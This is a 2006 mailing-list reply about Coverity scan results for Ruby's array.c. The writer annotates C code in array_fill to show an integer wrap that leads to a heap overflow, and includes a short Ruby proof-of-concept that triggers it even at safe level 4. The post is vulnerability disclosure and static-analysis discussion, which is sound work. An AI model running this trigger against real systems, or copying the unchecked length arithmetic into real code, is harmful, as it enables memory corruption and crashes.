Re: possible defect in array.c

I find it interesting that the Coverity scan does not detect integer
overflows. I reported one in this very code some time ago. Here is a
snippet of the code annoted to show the issue:

case 3:
     [snipped]
        len = NIL_P(arg2) ? RARRAY(ary)->len - beg : NUM2LONG(arg2);
/* len is from method argument */
        break;
    }
    rb_ary_modify(ary);
    end = beg + len; /* end is derived from len */
    if (end > RARRAY(ary)->len) { /* when a long len is specified,
this will be true */
        if (end >= RARRAY(ary)->aux.capa) { /* this will be true also */
            REALLOC_N(RARRAY(ary)->ptr, VALUE, end); /* size passed to
realloc() is sizeof(VALUE) * end--WRAP*/
            RARRAY(ary)->aux.capa = end;
        }
[snipped]
   if (block_p) {
[snipped]
   }
   else {
        p = RARRAY(ary)->ptr + beg;
        pend = p + len; /* derived from len, which is now much longer
than memory allocated */
        while (p < pend) {
            *p++ = item; /* HEAP OVERFLOW! */
        }
    }
    return ary;
}

This code triggers the integer wrap in array_fill (the safe level was
just set to show that the issue can be exploited regardless of safe
level restrictions):

#!/usr/bin/env ruby
$SAFE = 4
a = Array.new(100)
a.fill(".", 1, 0x40000001)
a.each_index {|i| a[i] = 'a' }

I think the Coverity scans are a good start, but this demonstrates
that just because their scanner does not find anything (in those
projects now labelled as bug-free by Coverity), it does not mean that
bugs don't exist (obvious point, I know). None the less, pointing out
bugs is always a good thing :) It is good to see people taking the
issues seriously.

Cheers,
Dom

On 4/25/06, Pat Eyler <[e-mail]> wrote:
> On 4/25/06, Jacob Fugal <[e-mail]> wrote:
> > On 4/25/06, Pat Eyler <[e-mail]> wrote:
> > > This one may be a false positive, I'm not sure.  If it is, I'll happily mark
> > > it that way at the coverity site.
> >
> > This one looks like a false positive to me. Up to the switch on line
> > 2114, [beg] is never touched. In each of the three delineated cases
> > for the switch, [beg] is set. (In case 2, if [rb_range_beg_len
> > succeeds], I *assume* [beg] is set by the function; if it fails, we
> > fall through to case 3 which does set [beg].) The only way [beg] could
> > be unset at line 2133 is if [argc] were less than 1 or greater than 3.
> > That, I hope, is gauranteed by the input to the function (along with
> > the hack on line 2109 for blocks).
>
> rb_range_beg_len (in range.c) does set beg and len.  I'm hoping the
> other edge cases (argc <1 or >3) are covered too.  If anyone else
> wants to speak with a little more authority, I'm all ears.
>
> >
> > Jacob Fugal
> >
> >
>
>